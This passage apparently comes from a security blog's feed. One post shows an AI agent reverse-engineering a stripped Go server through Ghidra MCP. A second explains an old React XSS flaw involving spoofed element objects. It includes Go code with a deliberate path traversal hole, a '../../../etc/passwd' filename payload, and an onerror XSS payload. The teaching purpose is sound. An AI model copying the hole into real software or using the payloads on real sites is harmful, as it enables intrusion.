file<span class="token punctuation">,</span> err <span class="token operator">:=</span> c<span class="token punctuation">.</span><span class="token function">FormFile</span><span class="token punctuation">(</span><span class="token string">"avatar"</span><span class="token punctuation">)</span>  <span class="token keyword">if</span> err <span class="token operator">!=</span> <span class="token boolean">nil</span> <span class="token punctuation">&#123;</span>    c<span class="token punctuation">.</span><span class="token function">JSON</span><span class="token punctuation">(</span>http<span class="token punctuation">.</span>StatusBadRequest<span class="token punctuation">,</span> gin<span class="token punctuation">.</span>H<span class="token punctuation">&#123;</span><span class="token string">"error"</span><span class="token punctuation">:</span> <span class="token string">"missing avatar file"</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span>    <span class="token keyword">return</span>  <span class="token punctuation">&#125;</span>  <span class="token comment">// 刻意保留的 path traversal 漏洞：直接使用 file.Filename，未經 filepath.Clean 或 filepath.Base 過濾</span>  <span class="token comment">// 攻擊者可上傳 filename="../../../etc/passwd" 等路徑穿越到系統其他位置</span>  savePath <span class="token operator">:=</span> filepath<span class="token punctuation">.</span><span class="token function">Join</span><span class="token punctuation">(</span>config<span class="token punctuation">.</span>UploadDir<span class="token punctuation">,</span> file<span class="token punctuation">.</span>Filename<span class="token punctuation">)</span>  <span class="token keyword">if</span> err <span class="token operator">:=</span> c<span class="token punctuation">.</span><span class="token function">SaveUploadedFile</span><span class="token punctuation">(</span>file<span class="token punctuation">,</span> savePath<span class="token punctuation">)</span><span class="token punctuation">;</span> err <span class="token operator">!=</span> <span class="token boolean">nil</span> <span class="token punctuation">&#123;</span>    c<span class="token punctuation">.</span><span class="token function">JSON</span><span class="token punctuation">(</span>http<span class="token punctuation">.</span>StatusInternalServerError<span class="token punctuation">,</span> gin<span class="token punctuation">.</span>H<span class="token punctuation">&#123;</span><span class="token string">"error"</span><span class="token punctuation">:</span> <span class="token string">"failed to save file"</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span>    <span class="token keyword">return</span>  <span class="token punctuation">&#125;</span>  <span class="token comment">// 更新 user 的 avatar_path</span>  <span class="token boolean">_</span><span class="token punctuation">,</span> err <span class="token operator">=</span> h<span class="token punctuation">.</span>DB<span class="token punctuation">.</span><span class="token function">Exec</span><span class="token punctuation">(</span><span class="token string">"UPDATE users SET avatar_path = ? WHERE id = ?"</span><span class="token punctuation">,</span> file<span class="token punctuation">.</span>Filename<span class="token punctuation">,</span> userID<span class="token punctuation">)</span>  <span class="token keyword">if</span> err <span class="token operator">!=</span> <span class="token boolean">nil</span> <span class="token punctuation">&#123;</span>    c<span class="token punctuation">.</span><span class="token function">JSON</span><span class="token punctuation">(</span>http<span class="token punctuation">.</span>StatusInternalServerError<span class="token punctuation">,</span> gin<span class="token punctuation">.</span>H<span class="token punctuation">&#123;</span><span class="token string">"error"</span><span class="token punctuation">:</span> <span class="token string">"failed to update avatar"</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span>    <span class="token keyword">return</span>  <span class="token punctuation">&#125;</span>  c<span class="token punctuation">.</span><span class="token function">JSON</span><span class="token punctuation">(</span>http<span class="token punctuation">.</span>StatusOK<span class="token punctuation">,</span> gin<span class="token punctuation">.</span>H<span class="token punctuation">&#123;</span><span class="token string">"message"</span><span class="token punctuation">:</span> <span class="token string">"avatar uploaded"</span><span class="token punctuation">,</span> <span class="token string">"path"</span><span class="token punctuation">:</span> file<span class="token punctuation">.</span>Filename<span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>寫完之後呢，用這個指令去 build，把該拿的都拿掉，模擬更真實的情境：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token assign-left variable">CGO_ENABLED</span><span class="token operator">=</span><span class="token number">0</span> go build <span class="token parameter variable">-ldflags</span><span class="token operator">=</span><span class="token string">"-s -w"</span> <span class="token parameter variable">-trimpath</span> <span class="token parameter variable">-o</span> dist/membership-api <span class="token builtin class-name">.</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><h2><span id="前置作業">前置作業</span></h2><p>因為我們的 binary 是 stripped 的，相關符號都被拿掉了，因此找個好用的 plugin 可以更方便幫我們還原 Golang 相關的東西，我選的是這個：<a href="https://github.com/mooncat-greenpy/Ghidra_GolangAnalyzerExtension">https://github.com/mooncat-greenpy/Ghidra_GolangAnalyzerExtension</a></p><p>在分析的時候記得把相關選項勾上：</p><p><img src="/img/reverse-engineering-with-ai-ghidra-mcp/p1.png" alt="analysis"></p><p>分析完以後，在 Ghidra 中其實就能看到更詳細的資訊了：</p><p><img src="/img/reverse-engineering-with-ai-ghidra-mcp/p2.png" alt="golang analysis"></p><p><img src="/img/reverse-engineering-with-ai-ghidra-mcp/p3.png" alt="c code"></p><p>但這樣也還是手動去看嘛，像我這種根本不會操作 Ghidra 的人，只會把 binary 丟進去而已，要我看我也不知道怎麼看。</p><p>因此我們再來裝個真正讓 AI 跟 Ghidra 搭上線的東西：<a href="https://github.com/LaurieWired/GhidraMCP">GhidraMCP</a>，這個有大概兩三個版本用的人好像都滿多，我就隨意挑了一個看起來文件寫得比較好，比較方便跑起來的。</p><p>裝好並且在 Ghidra 啟用之後，在 AI 那邊配置好 MCP，例如說我用的是 Cursor，就這樣配：</p><pre class="line-numbers language-json" data-language="json"><code class="language-json"><span class="token punctuation">&#123;</span>  <span class="token property">"mcpServers"</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>    <span class="token property">"ghidra"</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>      <span class="token property">"command"</span><span class="token operator">:</span> <span class="token string">"python"</span><span class="token punctuation">,</span>      <span class="token property">"args"</span><span class="token operator">:</span> <span class="token punctuation">[</span>        <span class="token string">"/app/GhidraMCP-release-1-4/bridge_mcp_ghidra.py"</span><span class="token punctuation">,</span>        <span class="token string">"--ghidra-server"</span><span class="token punctuation">,</span>        <span class="token string">"http://127.0.0.1:8080/"</span>      <span class="token punctuation">]</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>到這一步為止，前置作業就準備好了。</p><p>話說我拿來示範的是 Cursor，但其實只要是 AI agent 都行，你用 codex、claude code、open code 什麼的都一樣，能接 MCP 就都可以。</p><h2><span id="開始使喚-ai-agent-做事">開始使喚 AI agent 做事</span></h2><p>接下來就是用嘴逆向的時候了，我就只是這樣先跟他講而已：</p><blockquote><p>我現在正在逆向一個 golang 的 binary，請幫我使用 ghidra MCP 協助，幫我看一下他是什麼樣的程式，有哪些功能</p></blockquote><p>他就會開始自己呼叫 MCP，搜尋他想要的東西：</p><p><img src="/img/reverse-engineering-with-ai-ghidra-mcp/p4.png" alt="mcp call"></p><p>最後給出了這個 binary 用到的 library：</p><p><img src="/img/reverse-engineering-with-ai-ghidra-mcp/p5.png" alt="reversed libraty"></p><p>以及 API 路由：</p><p><img src="/img/reverse-engineering-with-ai-ghidra-mcp/p6.png" alt="reversed api route"></p><p>認證相關的邏輯：</p><p><img src="/img/reverse-engineering-with-ai-ghidra-mcp/p7.png" alt="auth logic"></p><p>還有推測出的檔案結構：</p><p><img src="/img/reverse-engineering-with-ai-ghidra-mcp/p8.png" alt="file structure"></p><p>接著我就讓他根據推測出來的結構，幫我再把反編譯得到的 C 弄回去 Golang，他就列了幾個 todo 之後開始他的工作：</p><p><img src="/img/reverse-engineering-with-ai-ghidra-mcp/p9.png" alt="c to golang"></p><p>結果它逆向出來的 routes.go 長這樣：</p><pre class="line-numbers language-go" data-language="go"><code class="language-go"><span class="token keyword">package</span> routes<span class="token keyword">import</span> <span class="token punctuation">(</span>  <span class="token string">"database/sql"</span>  <span class="token string">"github.com/gin-gonic/gin"</span>  <span class="token string">"membership-api/handlers"</span>  <span class="token string">"membership-api/middleware"</span><span class="token punctuation">)</span><span class="token keyword">func</span> <span class="token function">Setup</span><span class="token punctuation">(</span>db <span class="token operator">*</span>sql<span class="token punctuation">.</span>DB<span class="token punctuation">)</span> <span class="token operator">*</span>gin<span class="token punctuation">.</span>Engine <span class="token punctuation">&#123;</span>  r <span class="token operator">:=</span> gin<span class="token punctuation">.</span><span class="token function">Default</span><span class="token punctuation">(</span><span class="token punctuation">)</span>  authHandler <span class="token operator">:=</span> <span class="token operator">&amp;</span>handlers<span class="token punctuation">.</span>AuthHandler<span class="token punctuation">&#123;</span>DB<span class="token punctuation">:</span> db<span class="token punctuation">&#125;</span>  userHandler <span class="token operator">:=</span> <span class="token operator">&amp;</span>handlers<span class="token punctuation">.</span>UserHandler<span class="token punctuation">&#123;</span>DB<span class="token punctuation">:</span> db<span class="token punctuation">&#125;</span>  avatarHandler <span class="token operator">:=</span> <span class="token operator">&amp;</span>handlers<span class="token punctuation">.</span>AvatarHandler<span class="token punctuation">&#123;</span>DB<span class="token punctuation">:</span> db<span class="token punctuation">,</span> UploadPath<span class="token punctuation">:</span> <span class="token string">"uploads"</span><span class="token punctuation">&#125;</span>  <span class="token comment">// 公開路由 - 不需要認證</span>  api <span class="token operator">:=</span> r<span class="token punctuation">.</span><span class="token function">Group</span><span class="token punctuation">(</span><span class="token string">"/api"</span><span class="token punctuation">)</span>  <span class="token punctuation">&#123;</span>    api<span class="token punctuation">.</span><span class="token function">POST</span><span class="token punctuation">(</span><span class="token string">"/register"</span><span class="token punctuation">,</span> authHandler<span class="token punctuation">.</span>Register<span class="token punctuation">)</span>    api<span class="token punctuation">.</span><span class="token function">POST</span><span class="token punctuation">(</span><span class="token string">"/login"</span><span class="token punctuation">,</span> authHandler<span class="token punctuation">.</span>Login<span class="token punctuation">)</span>  <span class="token punctuation">&#125;</span>  <span class="token comment">// 需要認證的路由</span>  apiAuth <span class="token operator">:=</span> r<span class="token punctuation">.</span><span class="token function">Group</span><span class="token punctuation">(</span><span class="token string">"/api"</span><span class="token punctuation">)</span>  apiAuth<span class="token punctuation">.</span><span class="token function">Use</span><span class="token punctuation">(</span>middleware<span class="token punctuation">.</span><span class="token function">AuthMiddleware</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>  <span class="token punctuation">&#123;</span>    apiAuth<span class="token punctuation">.</span><span class="token function">GET</span><span class="token punctuation">(</span><span class="token string">"/users/:id"</span><span class="token punctuation">,</span> userHandler<span class="token punctuation">.</span>GetUserByID<span class="token punctuation">)</span>    apiAuth<span class="token punctuation">.</span><span class="token function">GET</span><span class="token punctuation">(</span><span class="token string">"/my-messages"</span><span class="token punctuation">,</span> userHandler<span class="token punctuation">.</span>GetMyMessages<span class="token punctuation">)</span>    apiAuth<span class="token punctuation">.</span><span class="token function">POST</span><span class="token punctuation">(</span><span class="token string">"/avatar"</span><span class="token punctuation">,</span> avatarHandler<span class="token punctuation">.</span>Upload<span class="token punctuation">)</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">return</span> r<span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>程式碼的結構跟原始的有些微不同，代表沒有作弊（？），話說我是讓他在不同 context 底下跑的，所以他確實是看不到原本的 Golang 原始碼沒錯。</p><p>總之，反推回來的程式碼清晰可讀，但有小部分錯誤，例如說 <code>/my-messages</code> 這個不存在，應該是 <code>/me/messages</code> 才對。<code>/avatar</code> 也應該是 <code>/me/avatar</code>，看來有部分地方應該被偷懶跳過了。</p><p>而註冊的地方則是這樣：</p><pre class="line-numbers language-go" data-language="go"><code class="language-go"><span class="token keyword">func</span> <span class="token punctuation">(</span>h <span class="token operator">*</span>AuthHandler<span class="token punctuation">)</span> <span class="token function">Register</span><span class="token punctuation">(</span>c <span class="token operator">*</span>gin<span class="token punctuation">.</span>Context<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">var</span> req RegisterRequest  <span class="token keyword">if</span> err <span class="token operator">:=</span> c<span class="token punctuation">.</span><span class="token function">ShouldBindJSON</span><span class="token punctuation">(</span><span class="token operator">&amp;</span>req<span class="token punctuation">)</span><span class="token punctuation">;</span> err <span class="token operator">!=</span> <span class="token boolean">nil</span> <span class="token punctuation">&#123;</span>    c<span class="token punctuation">.</span><span class="token function">JSON</span><span class="token punctuation">(</span>http<span class="token punctuation">.</span>StatusBadRequest<span class="token punctuation">,</span> gin<span class="token punctuation">.</span>H<span class="token punctuation">&#123;</span><span class="token string">"error"</span><span class="token punctuation">:</span> <span class="token string">"invalid request"</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span>    <span class="token keyword">return</span>  <span class="token punctuation">&#125;</span>  hashedPassword<span class="token punctuation">,</span> err <span class="token operator">:=</span> bcrypt<span class="token punctuation">.</span><span class="token function">GenerateFromPassword</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token function">byte</span><span class="token punctuation">(</span>req<span class="token punctuation">.</span>Password<span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token number">10</span><span class="token punctuation">)</span>  <span class="token keyword">if</span> err <span class="token operator">!=</span> <span class="token boolean">nil</span> <span class="token punctuation">&#123;</span>    c<span class="token punctuation">.</span><span class="token function">JSON</span><span class="token punctuation">(</span>http<span class="token punctuation">.</span>StatusInternalServerError<span class="token punctuation">,</span> gin<span class="token punctuation">.</span>H<span class="token punctuation">&#123;</span><span class="token string">"error"</span><span class="token punctuation">:</span> <span class="token string">"failed to hash password"</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span>    <span class="token keyword">return</span>  <span class="token punctuation">&#125;</span>  query <span class="token operator">:=</span> <span class="token string">`INSERT INTO users (username, email, password_hash) VALUES (?, ?, ?)`</span>  <span class="token boolean">_</span><span class="token punctuation">,</span> err <span class="token operator">=</span> h<span class="token punctuation">.</span>DB<span class="token punctuation">.</span><span class="token function">ExecContext</span><span class="token punctuation">(</span>c<span class="token punctuation">.</span>Request<span class="token punctuation">.</span><span class="token function">Context</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span> query<span class="token punctuation">,</span> req<span class="token punctuation">.</span>Username<span class="token punctuation">,</span> req<span class="token punctuation">.</span>Email<span class="token punctuation">,</span> <span class="token function">string</span><span class="token punctuation">(</span>hashedPassword<span class="token punctuation">)</span><span class="token punctuation">)</span>  <span class="token keyword">if</span> err <span class="token operator">!=</span> <span class="token boolean">nil</span> <span class="token punctuation">&#123;</span>    c<span class="token punctuation">.</span><span class="token function">JSON</span><span class="token punctuation">(</span>http<span class="token punctuation">.</span>StatusConflict<span class="token punctuation">,</span> gin<span class="token punctuation">.</span>H<span class="token punctuation">&#123;</span><span class="token string">"error"</span><span class="token punctuation">:</span> <span class="token string">"username or email already exists"</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span>    <span class="token keyword">return</span>  <span class="token punctuation">&#125;</span>  c<span class="token punctuation">.</span><span class="token function">JSON</span><span class="token punctuation">(</span>http<span class="token punctuation">.</span>StatusCreated<span class="token punctuation">,</span> gin<span class="token punctuation">.</span>H<span class="token punctuation">&#123;</span><span class="token string">"message"</span><span class="token punctuation">:</span> <span class="token string">"registration successful"</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>原本故意留做 SQL injection 的地方，現在反倒被修好了，代表他逆向出來的是錯的。</p><p>不過檔案上傳的那個 path traversal 還在，而且他有輕鬆找出來：</p><p><img src="/img/reverse-engineering-with-ai-ghidra-mcp/p10.png" alt="vulnerability"></p><p>上面的結果因為我額度快用完了，所以是用 Cursor 自己出的 composer 1.5 模型，沒這麼聰明。</p><p>我換成 Opus 4.6 以後，同樣的 prompt 它還原完成之後還順便幫我做了個資安檢查，該找的漏洞有找出來，只是 route 的部分依舊有錯，<code>/me</code> 變成了 <code>/my</code>，我以為這些應該是可以完整被還原的？</p><p><img src="/img/reverse-engineering-with-ai-ghidra-mcp/p11.png" alt="opus findings"></p><h2><span id="結語">結語</span></h2><p>得益於 AI agent 的進化外加 MCP 的機制，讓 agent 可以自由操作許多不同的軟體來幫助自動化。</p><p>老實說，我在逆向這件事情上有體驗到那些所謂的 vibe coder 在做產品時的喜悅，也就是：「沒想到不會寫 code 的我也可以弄出一個網站，雖然我不知道原理，但東西好像做出來了」。</p><p>但 vibe coding 會有許多不會寫 code 沒辦法發現的小問題，純靠 AI 逆向我想也是相同的。就像我一開始用 composer 1.5，出來的結果是錯的一樣。但換個方式想，整體流程跟 API endpoints 這些都是對的，也算是收穫不少了。</p><p>原本靠自己的話是 0 分，靠 AI 可以先拿到保底 60 分，怎麼想都很賺。</p><p>時代在進化，工具在進步，這篇想記錄一下自己靠著這些工具，用 AI agent 做簡單的逆向工程的流程。雖然說最後跑出來的結果還是有些許錯誤，但對於一個 web server 來說，拿到 binary 逆向之後得到的東西可以再結合動態測試去驗證，就算有點小錯誤，還是對於整體測試幫助很大。</p><p>這次跑完之後，我還是會覺得逆向工程很難，也還是覺得懂逆向的人很厲害。畢竟我這次跑的是小的 binary，大的我就不確定會怎樣了。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;最近碰到一個場合拿到了個 Golang HTTP server 的 binary，需要把它拆開進一步研究，找到通往下一步的線索。&lt;/p&gt;
&lt;p&gt;但關於逆向工程這件事情，我是很陌生的。我只會把 binary 丟到 Ghidra 裡面，接著就什麼都不會了，我連搜尋字串都不會。&lt;/p&gt;
&lt;p&gt;不過現在 AI agent 已經進化得很快了，只要工具運用得當，像我這種的逆向外行人，也能簡單靠 AI 做基礎的逆向工程，這篇就來記錄一下步驟。&lt;/p&gt;
&lt;p&gt;先寫在前面，我拿到的跟這次示範的都是比較小的程式，如果是更大或更複雜的我也不知道能不能跑。我也不會覺得 AI 可以完全取代人原本需要做的部分，但鐵定能讓部分任務變得更輕鬆。&lt;/p&gt;
&lt;p&gt;而像我這樣的外行人，原本能逆出的東西接近沒有，靠 AI 之後能給一些線索都好，就算是亂講的也有一些些參考價值，有總比沒有好嘛，亂講的我還能想辦法再去驗證。至於原本就會逆向的，我也不確定 AI 有沒有幫助，或者是他們會怎麼用，這個不在本篇的討論範圍。&lt;/p&gt;</summary>
    
    
    
    <category term="Security" scheme="https://blog.huli.tw/categories/Security/"/>
    
    
    <category term="Security" scheme="https://blog.huli.tw/tags/Security/"/>
    
  </entry>
  
  
  
  <entry>
    <title>從 React 中學習 JavaScript 底層運作</title>
    <link href="https://blog.huli.tw/2025/11/16/learn-advanced-javascript-from-react/"/>
    <id>https://blog.huli.tw/2025/11/16/learn-advanced-javascript-from-react/</id>
    <published>2025-11-15T22:32:08.000Z</published>
    <updated>2025-11-16T08:01:36.948Z</updated>
    
    <content type="html"><![CDATA[<p>前陣子去 <a href="https://2025.jsdc.tw/">JSDC</a> 的線上前導活動分享了這個主題，想說既然都分享了，不如就寫篇文章好了。這篇文章的靈感來源以及內容其實都是來自於<a href="https://www.tenlong.com.tw/products/9786267757048">《JavaScript 重修就好》</a>。當初寫書的時候就有參考 React 原始碼中的一些東西，這篇只是把原本分散在書中的各個 React 相關章節整理起來重寫一遍。</p><p>我覺得從這些開源專案的程式碼中學一些新的概念滿有趣的，畢竟這些很多人用的框架通常碰過的 bug 也越多，學到這些問題的解法以後，也可以再回去反思以前自己學過的東西。</p><p>這篇分成三個小章節：</p><ol><li>React 舊版的 XSS</li><li>從 React Fiber 學習 event loop</li><li>從 V8 bug 學習底層運作</li></ol><p>開頭先聲明一下，雖然標題叫做「從 React 中學習 JavaScript 底層運作」，只有最後一個比較底層，第一個更是與底層沒什麼關係。只是我沒想到比這個更好的標題，因此就用這個了。</p><span id="more"></span><h2><span id="react-舊版的-xss-漏洞">React 舊版的 XSS 漏洞</span></h2><p>請問底下這段程式碼有什麼資安問題？</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">function</span> <span class="token function">Test</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">const</span> name <span class="token operator">=</span> qs<span class="token punctuation">.</span><span class="token function">parse</span><span class="token punctuation">(</span>location<span class="token punctuation">.</span>search<span class="token punctuation">)</span><span class="token punctuation">.</span>name<span class="token punctuation">;</span>  <span class="token keyword">return</span> <span class="token punctuation">(</span>    <span class="token operator">&lt;</span>div className<span class="token operator">=</span><span class="token string">"text-red"</span><span class="token operator">></span>      <span class="token operator">&lt;</span>h1<span class="token operator">></span><span class="token punctuation">&#123;</span>name<span class="token punctuation">&#125;</span><span class="token operator">&lt;</span><span class="token operator">/</span>h1<span class="token operator">></span>    <span class="token operator">&lt;</span><span class="token operator">/</span>div<span class="token operator">></span>  <span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>看一看好像沒什麼問題？不就 render 一個 name 嗎，在 React 裡面會自動做 encode，所以就算插入一個 <code>&lt;img&gt;</code> 也不會被當作標籤解析，而是會被轉換成純文字，看起來沒問題。</p><p>若是我們繼續把這段程式碼展開，從 JSX 變成 JavaScript，大概會類似於這樣：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">function</span> <span class="token function">Test</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">const</span> name <span class="token operator">=</span> qs<span class="token punctuation">.</span><span class="token function">parse</span><span class="token punctuation">(</span>location<span class="token punctuation">.</span>search<span class="token punctuation">)</span><span class="token punctuation">.</span>name<span class="token punctuation">;</span>  <span class="token keyword">return</span> <span class="token function">createElement</span><span class="token punctuation">(</span>    <span class="token string">'div'</span><span class="token punctuation">,</span>    <span class="token punctuation">&#123;</span> <span class="token literal-property property">className</span><span class="token operator">:</span> <span class="token string">'text-red'</span> <span class="token punctuation">&#125;</span><span class="token punctuation">,</span>    <span class="token function">createElement</span><span class="token punctuation">(</span>      <span class="token string">'h1'</span><span class="token punctuation">,</span>      <span class="token punctuation">&#123;</span><span class="token punctuation">&#125;</span><span class="token punctuation">,</span>      name    <span class="token punctuation">)</span>  <span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>JSX 語法會在 compile 的時候變回 JavaScript，舊版會用 <code>React.createElement</code>，新版改成 <code>_jsx</code> 了，但不管 API 長怎樣，總之就是一段建立 element 的 JavaScript。</p><p>而這些 function 執行完以後就會產生所謂的 virtual DOM，再次展開成 object 的話會類似於：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">function</span> <span class="token function">Test</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">const</span> name <span class="token operator">=</span> qs<span class="token punctuation">.</span><span class="token function">parse</span><span class="token punctuation">(</span>location<span class="token punctuation">.</span>search<span class="token punctuation">)</span><span class="token punctuation">.</span>name<span class="token punctuation">;</span>  <span class="token keyword">return</span> <span class="token punctuation">(</span><span class="token punctuation">&#123;</span>    <span class="token literal-property property">type</span><span class="token operator">:</span> <span class="token string">'div'</span><span class="token punctuation">,</span>    <span class="token literal-property property">props</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>      <span class="token literal-property property">className</span><span class="token operator">:</span> <span class="token string">'text-red'</span><span class="token punctuation">,</span>      <span class="token literal-property property">children</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>        <span class="token literal-property property">type</span><span class="token operator">:</span> <span class="token string">'h1'</span><span class="token punctuation">,</span>        <span class="token literal-property property">props</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>          <span class="token literal-property property">children</span><span class="token operator">:</span> name        <span class="token punctuation">&#125;</span>      <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>而 React 在 render 的時候，就會根據這個 object 去 render，並且展示出我們所傳入的 name。</p><p>但問題來了，像是 <code>qs</code> 這種 library，其實是支援物件的，例如說 <code>?name[test]=1</code>，name 會變成 <code>&#123;&quot;test&quot;: 1&#125;</code>，因此這個 name 雖然你怎麼看都應該是字串，但實際上可以是個物件。</p><p>儘管通常傳物件會被 React 擋掉，但你有沒有想過這些 component 其實也是個物件？那 React 是怎麼決定一個 object 到底是不是 component 的呢？</p><p>在舊版的 React 中，這個檢查非常簡單：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">ReactElement<span class="token punctuation">.</span><span class="token function-variable function">isValidElement</span> <span class="token operator">=</span> <span class="token keyword">function</span><span class="token punctuation">(</span><span class="token parameter">object</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">return</span> <span class="token operator">!</span><span class="token operator">!</span><span class="token punctuation">(</span>    <span class="token keyword">typeof</span> object <span class="token operator">===</span> <span class="token string">'object'</span> <span class="token operator">&amp;&amp;</span>    object <span class="token operator">!==</span> <span class="token keyword">null</span> <span class="token operator">&amp;&amp;</span>    <span class="token string">'type'</span> <span class="token keyword">in</span> object <span class="token operator">&amp;&amp;</span>    <span class="token string">'props'</span> <span class="token keyword">in</span> object  <span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>只要有 type 有 props，就把它看作是一個 React component。因此，如果我們的 name 是底下這樣，就會被當作是 React component 被渲染出來：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token punctuation">&#123;</span>  <span class="token literal-property property">type</span><span class="token operator">:</span> <span class="token string">"div"</span><span class="token punctuation">,</span>  <span class="token literal-property property">props</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>    <span class="token literal-property property">dangerouslySetInnerHTML</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>      <span class="token literal-property property">__html</span><span class="token operator">:</span> <span class="token string">"&lt;img src=x onerror=alert()>"</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>如此一來，就成功利用了這個特性，假裝是 React component 並且 render 出任意的 HTML，構造出了一個 XSS 漏洞。</p><p>這個漏洞最早在 2015 年時被 Daniel LeCheminan 發現，還寫了一篇文章：<a href="http://danlec.com/blog/xss-via-a-spoofed-react-element">XSS via a spoofed React element</a>，不過原文的情境稍微不同就是了。</p><p>總之呢，這個問題被 React 關注到，開了一個 issue 進行討論：<a href="https://github.com/facebook/react/issues/3473">How Much XSS Vulnerability Protection is React Responsible For? #3473</a>，而最後的 fix 在這：<a href="https://github.com/facebook/react/pull/4832">Use a Symbol to tag every ReactElement #4832</a>。</p><p>解法就是：Symbol。</p><p>在 React component 上加了一個 <code>$$typeof: Symbol.for(&#39;react.element&#39;)</code>，並且在 <code>isValidElement</code> 的檢查中也把這個判斷加上，就能確保其他物件沒辦法偽造出一個 React component。</p><p>背後的原理就是 symbol 的特性，與一般的物件不一樣，symbol 就只會跟同一個 symbol 相等，而 JSON 反序列化是不支援 symbol 的，所以你只能創造出普通的物件，沒辦法做出一個 symbol，自然就偽造不了 component 了。</p><p>以後有人問你 symbol 可以用在哪裡的時候，可以拿這個案例去回答。</p><p>另外，其實除了前端，後端也是一樣的，例如說 JavaScript 的 ORM：<a href="https://sequelize.org/">Sequelize</a> 舊版本的 operator 也是用字串，例如說：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">Post<span class="token punctuation">.</span><span class="token function">findAll</span><span class="token punctuation">(</span><span class="token punctuation">&#123;</span>  <span class="token literal-property property">where</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>    <span class="token literal-property property">authorId</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>      <span class="token string-property property">'$or'</span><span class="token operator">:</span> <span class="token punctuation">[</span><span class="token number">12</span><span class="token punctuation">,</span> <span class="token number">13</span><span class="token punctuation">]</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>但從 v5 開始就全部換成 symbol 了，已經棄用了原本的字串：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">const</span> <span class="token punctuation">&#123;</span> Op <span class="token 